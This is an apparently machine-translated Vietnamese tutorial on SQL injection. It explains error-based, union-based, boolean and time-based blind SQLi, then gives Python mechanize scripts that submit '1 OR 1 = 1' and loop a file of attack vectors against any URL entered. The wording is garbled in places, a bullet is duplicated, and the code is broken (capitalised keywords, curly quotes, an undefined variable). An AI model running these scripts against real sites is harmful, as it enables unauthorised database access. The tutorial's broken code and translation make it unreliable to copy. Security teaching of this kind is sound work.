Kiểm tra thâm nhập Python - Tấn công web SQLi

SQL injection là một tập hợp các lệnh SQL được đặt trong một chuỗi URL hoặc trong cấu trúc dữ liệu để truy xuất phản hồi mà chúng tôi muốn từ cơ sở dữ liệu được kết nối với các ứng dụng web. Loại tấn công này thường diễn ra trên các trang web được phát triển bằng PHP hoặc ASP.NET.

Một cuộc tấn công chèn SQL có thể được thực hiện với các mục đích sau:

  • Để sửa đổi nội dung của cơ sở dữ liệu

  • Để sửa đổi nội dung của cơ sở dữ liệu

  • Để thực hiện các truy vấn khác nhau không được ứng dụng cho phép

Kiểu tấn công này hoạt động khi các ứng dụng không xác nhận đầu vào đúng cách, trước khi chuyển chúng sang câu lệnh SQL. Thuốc tiêm thường được đặt trong thanh địa chỉ, trường tìm kiếm hoặc trường dữ liệu.

Cách dễ nhất để phát hiện xem một ứng dụng web có dễ bị tấn công SQL injection hay không là sử dụng ký tự "'" trong một chuỗi và xem bạn có gặp lỗi nào không.

Các kiểu tấn công SQLi

Trong phần này, chúng ta sẽ tìm hiểu về các kiểu tấn công SQLi khác nhau. Cuộc tấn công có thể được phân loại thành hai loại sau:

  • Chèn SQL trong băng (SQLi đơn giản)

  • Chèn SQL tham chiếu (SQLi mù)

Chèn SQL trong băng (SQLi đơn giản)

Nó là SQL injection phổ biến nhất. Kiểu tiêm SQL này chủ yếu xảy ra khi kẻ tấn công có thể sử dụng cùng một kênh giao tiếp để khởi động cuộc tấn công và tổng hợp kết quả. Việc tiêm SQL trong băng được chia thành hai loại:

  • Error-based SQL injection - Kỹ thuật chèn SQL dựa trên lỗi dựa vào thông báo lỗi do máy chủ cơ sở dữ liệu ném ra để lấy thông tin về cấu trúc của cơ sở dữ liệu.

  • Union-based SQL injection - Đây là một kỹ thuật chèn SQL trong băng tần khác sử dụng toán tử UNION SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh SELECT thành một kết quả duy nhất, sau đó được trả về như một phần của phản hồi HTTP.

Chèn SQL tham chiếu (SQLi mù)

Trong loại tấn công SQL injection này, kẻ tấn công không thể thấy kết quả của một cuộc tấn công trong băng vì không có dữ liệu nào được truyền qua ứng dụng web. Đây là lý do nó còn được gọi là Blind SQLi. Việc đưa vào SQL tham chiếu còn có hai loại:

  • Boolean-based blind SQLi - Loại kỹ thuật này dựa vào việc gửi một truy vấn SQL đến cơ sở dữ liệu, điều này buộc ứng dụng trả về một kết quả khác tùy thuộc vào việc truy vấn trả về kết quả TRUE hay FALSE.

  • Time-based blind SQLi- Loại kỹ thuật này dựa vào việc gửi một truy vấn SQL đến cơ sở dữ liệu, buộc cơ sở dữ liệu phải đợi một khoảng thời gian xác định (tính bằng giây) trước khi trả lời. Thời gian phản hồi sẽ cho kẻ tấn công biết kết quả của truy vấn là TRUE hay FALSE.

Thí dụ

Tất cả các loại SQLi có thể được thực hiện bằng cách thao tác dữ liệu đầu vào cho ứng dụng. Trong các ví dụ sau, chúng tôi đang viết một tập lệnh Python để đưa các vectơ tấn công vào ứng dụng và phân tích kết quả đầu ra để xác minh khả năng bị tấn công. Ở đây, chúng tôi sẽ sử dụng mô-đun python có tênmechanize, cung cấp cho cơ sở để lấy các biểu mẫu web trong một trang web và cũng tạo điều kiện cho việc gửi các giá trị đầu vào. Chúng tôi cũng đã sử dụng mô-đun này để xác thực phía máy khách.

Tập lệnh Python sau giúp gửi biểu mẫu và phân tích phản hồi bằng cách sử dụng mechanize -

Trước hết, chúng ta cần nhập mechanize mô-đun.

import mechanize

Bây giờ, hãy cung cấp tên của URL để nhận phản hồi sau khi gửi biểu mẫu.

url = input("Enter the full url")

Dòng mã sau sẽ mở url.

request = mechanize.Browser()
request.open(url)

Bây giờ, chúng ta cần chọn biểu mẫu.

request.select_form(nr = 0)

Ở đây, chúng tôi sẽ đặt tên cột là 'id'.

request["id"] = "1 OR 1 = 1"

Bây giờ, chúng ta cần gửi biểu mẫu.

response = request.submit()
content = response.read()
print content

Tập lệnh trên sẽ in phản hồi cho yêu cầu ĐĂNG. Chúng tôi đã gửi một vectơ tấn công để phá vỡ truy vấn SQL và in tất cả dữ liệu trong bảng thay vì một hàng. Tất cả các vectơ tấn công sẽ được lưu trong một tệp văn bản như vectors.txt. Bây giờ, tập lệnh Python được đưa ra bên dưới sẽ lấy các vectơ tấn công đó từ tệp và gửi chúng đến máy chủ từng cái một. Nó cũng sẽ lưu đầu ra vào một tệp.

Để bắt đầu, chúng ta hãy nhập mô-đun cơ khí hóa.

import mechanize

Bây giờ, hãy cung cấp tên của URL để nhận phản hồi sau khi gửi biểu mẫu.

url = input("Enter the full url")
   attack_no = 1

Chúng ta cần đọc các vectơ tấn công từ tệp.

With open (‘vectors.txt’) as v:

Bây giờ chúng tôi sẽ gửi yêu cầu với mỗi vector mảng

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Bây giờ, dòng mã sau sẽ viết phản hồi vào tệp đầu ra.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Bằng cách kiểm tra và phân tích các phản hồi, chúng tôi có thể xác định các cuộc tấn công có thể xảy ra. Ví dụ: nếu nó cung cấp phản hồi bao gồm câuYou have an error in your SQL syntax thì nó có nghĩa là biểu mẫu có thể bị ảnh hưởng bởi SQL injection.